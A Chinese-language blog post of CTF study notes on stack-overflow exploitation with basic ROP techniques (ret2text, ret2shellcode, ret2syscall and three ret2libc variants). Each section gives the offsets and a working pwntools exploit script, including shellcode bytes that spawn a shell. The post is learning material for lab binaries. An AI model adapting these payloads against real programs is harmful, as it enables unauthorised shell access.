栈溢出----基础rop

学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/

1. 栈溢出基本原理就不写了

列举一下常见的危险函数:

  • 输入
    • gets,直接读取一行,忽略'\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到'\x00'停止
    • strcat,字符串拼接,遇到'\x00'停止
    • bcopy

2. 基础rop

ret2text

开启NX,无栈保护,32位文件

IDA中打开可以发现system以及/bin/sh,存在危险函数gets,直接修改ret

计算需要覆盖的偏移量

知道ebp和esp之后,结合s相对于esp的偏移量

exp

payload='a'*(0x6c+0x04)
cn.sendline(payload+p32(0x0804863A))
cn.interactive()

ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

这是学习文献中的原话,链接上面有,之前我们看见有那个NX保护,也就是说相应区域的NX保护没开启,我们自己手动打shellcode来夺取权限

啥保护都没开启,辣是真滴流批,32位文件

main函数中有gets还有strncpy函数,但是没有相对应的system和/bin/sh,但是NX没开启,打shellcode

这里gets函数返回地址没有system给我们构造,但是strncpy里的buf字段我们可以尝试通过往s写如shellcode来复制进去,buf我们可以看到在bss字段

我们可以查看一下该字段的权限

我们可以看到buf所在处(0x0804A080)是可执行的

计算偏移量

设断电后,发现s相对于ebp的偏移量是0x6C

也就是说我们覆盖空间+shellcode=0x6C+0x04,exp如下

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

#cn.sendline(shellcode.ljust(112, 'a')+p32(0x0804a080))
cn.sendline(shellcode+'a'*(0x6C+0x04-len(shellcode))+p32(0x0804a080)) #等价于上一行
cn.interactive()

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell

32位,没有栈保护,有NX,拖进IDA看一下main函数

这次我们可以发现没有system函数,NX保护开启了,但是我们可以搜索字符串找到/bin/sh,但是我们这次没有函数来调用我们的shell,那怎么办?

我们可以伪造一个系统调用

我们可以将需要调用的参数压入对应的寄存器,那么我们在执行 int 0x80 就可执行对应的系统调用

#int $0x80是一条AT&T语法的中断指令,用于Linux的系统调用

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

我们可以使用 ropgadgets 这个工具来寻找各个寄存器可以控制的地址以及int 0x80的地址和/bin/sh的地址,具体如下

我们这里选择0x080bb196

之后我们找ebx的时候选择0x0806eb90(edx,ecx,ebx全都有)

/bin/sh地址为0x080be408

int 0x80地址为0x08049421

最后就差脚本了,但不要忘记s的偏移量哦

依然是0x6c

来,exp

eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
bin_sh=0x080be408
int_80=0x08049421
payload=flat(['a'*(0x6C+0x04), eax_ret, 0xb, edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])
#payload='a'*(0x6C+0x04)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80)    #遇上一行相同
cn.sendline(payload)
cn.interactive()

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址

#ibc:Linux下的ANSI C的函数库,ANSI C是基本的C语言函数库,包含了C语言最基本的库函数

#plt与got:https://blog.csdn.net/linyt/article/details/51635768

先看一波这文件防护机制情况

32位,开启了NX保护,没有栈溢出保拖进IDA确定漏洞位置

gets函数可以溢出

存在/bin/sh

存在system函数

OK,那直接覆盖eip,正常调用system函数的时候,记得要添加一个返回地址(随便就好,反正是假的)

system_addr=0x08048460
bin_sh=0x08048720
payload=flat(['a'*(0x6C+0x04),system_addr,'a'*0x04,bin_sh])
cn.sendline(payload)
cn.interactive()

ret2libc2

我们已经感受了一波lib,有system函数,但是这次不给你/bin/sh,要靠自己写入咯

32位文件,有NX保护,无栈溢出保护

拖进IDA找漏洞位置

gets函数可以溢出

因为本身是没有/bin/sh的,所以我们需要在一个空的bss字段写入/bin/sh

exp

gets_plt=0x08048460
system_plt=0x08048490
bss=0x0804A080
ebp_ret=0x0804843d
payload=flat(['a'*(0x6C+0x04),gets_plt,ebp_ret,bss])
payload2=flat([system_plt,'a'*0x04,bss])
cn.send(payload)
cn.sendline(payload2)
cn.sendline('/bin/sh')
cn.interactive()

ret2libc3

接下来更进一步了,连system函数都没了,需要我们去libc库里找,/bin/sh也可以去libc库里找

有NX,无栈保护

gets函数可以溢出

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,我们可以通过找出文件中的函数在got表中的地址,再结合got表中距离system函数的偏移量,从而把system在文件中的存放地址调出来,/bin/sh也是同理

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp

puts_plt=bin.plt['puts']
libc_start_main_got=bin.got['__libc_start_main']
main=bin.symbols['main']
payload=flat(['a'*(0x6C+0x04),puts_plt,main,libc_start_main_got])
cn.recvuntil('Can you find it !?')
cn.sendline(payload)
libc_start_main_addr=u32(cn.recv(4))        #leak address
system_addr=libc.symbols['system']+libc_start_main_addr-libc.symbols['__libc_start_main']
bin_sh_addr=libc.search('/bin/sh').next()+libc_start_main_addr-libc.symbols['__libc_start_main']
payload2 = flat(['a'*(0x6C+0x04), system_addr, 'a'*0x04, bin_sh_addr])
cn.recvuntil('Can you find it !?')
cn.sendline(payload2)
cn.interactive()

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/83023746
ROP
今日推荐